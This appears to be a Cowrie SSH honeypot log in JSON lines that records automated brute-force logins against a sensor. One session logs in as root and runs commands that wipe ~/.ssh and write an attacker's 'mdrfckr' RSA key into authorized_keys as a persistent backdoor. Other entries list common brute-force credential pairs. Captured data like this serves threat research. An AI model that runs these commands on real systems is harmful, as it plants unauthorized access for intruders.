{"eventid":"cowrie.session.connect","src_ip":"23.95.248.48","src_port":45188,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2581da1998","protocol":"ssh","message":"New connection: 23.95.248.48:45188 (10.17.0.5:22) [session: 3f2581da1998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:30.675619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:30.681219Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:30.754616Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"client","message":"login attempt [root/client] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.071908Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.303827Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.307490Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.311615Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.386468Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.570951Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.574926Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.650636Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.654445Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.248.48","src_port":45198,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c7e8661237","protocol":"ssh","message":"New connection: 23.95.248.48:45198 (10.17.0.5:22) [session: 79c7e8661237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.716435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.721210Z","src_ip":"23.95.248.48","session":"79c7e8661237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:31.791074Z","src_ip":"23.95.248.48","session":"79c7e8661237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:32.105508Z","src_ip":"23.95.248.48","session":"79c7e8661237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.178544Z","src_ip":"23.95.248.48","session":"79c7e8661237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.248.48","src_port":45212,"dst_ip":"10.17.0.5","dst_port":22,"session":"a268fa536bbe","protocol":"ssh","message":"New connection: 23.95.248.48:45212 (10.17.0.5:22) [session: a268fa536bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.248703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.252917Z","src_ip":"23.95.248.48","session":"a268fa536bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.327111Z","src_ip":"23.95.248.48","session":"a268fa536bbe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.649427Z","src_ip":"23.95.248.48","session":"a268fa536bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.724947Z","src_ip":"23.95.248.48","session":"3f2581da1998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:14:33.729897Z","src_ip":"23.95.248.48","session":"a268fa536bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":33200,"dst_ip":"10.17.0.5","dst_port":22,"session":"c712bec6c693","protocol":"ssh","message":"New connection: 92.118.39.95:33200 (10.17.0.5:22) [session: c712bec6c693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:03.700437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:03.794696Z","src_ip":"92.118.39.95","session":"c712bec6c693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:03.828904Z","src_ip":"92.118.39.95","session":"c712bec6c693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:04.257306Z","src_ip":"92.118.39.95","session":"c712bec6c693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:05.400627Z","src_ip":"92.118.39.95","session":"c712bec6c693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":32936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d51a42a6a4","protocol":"ssh","message":"New connection: 92.118.39.72:32936 (10.17.0.5:22) [session: c0d51a42a6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:42.085200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:42.089557Z","src_ip":"92.118.39.72","session":"c0d51a42a6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:42.199213Z","src_ip":"92.118.39.72","session":"c0d51a42a6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:42.521174Z","src_ip":"92.118.39.72","session":"c0d51a42a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:43.630754Z","src_ip":"92.118.39.72","session":"c0d51a42a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48976,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a1f784de378","protocol":"ssh","message":"New connection: 193.32.162.151:48976 (159.203.135.109:22) [session: 9a1f784de378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:52.373089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:52.382655Z","src_ip":"193.32.162.151","session":"9a1f784de378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:52.480056Z","src_ip":"193.32.162.151","session":"9a1f784de378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"root","message":"login attempt [mysql/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:52.898425Z","src_ip":"193.32.162.151","session":"9a1f784de378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:15:54.009009Z","src_ip":"193.32.162.151","session":"9a1f784de378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54614,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc2fde2acb5","protocol":"ssh","message":"New connection: 80.94.92.186:54614 (10.17.0.5:22) [session: dcc2fde2acb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:16:00.224517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:16:00.363158Z","src_ip":"80.94.92.186","session":"dcc2fde2acb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:16:00.371166Z","src_ip":"80.94.92.186","session":"dcc2fde2acb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:16:01.840245Z","src_ip":"80.94.92.186","session":"dcc2fde2acb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:16:03.173017Z","src_ip":"80.94.92.186","session":"dcc2fde2acb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":45414,"dst_ip":"10.17.0.5","dst_port":22,"session":"191144f86751","protocol":"ssh","message":"New connection: 92.118.39.95:45414 (10.17.0.5:22) [session: 191144f86751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:07.349231Z"}
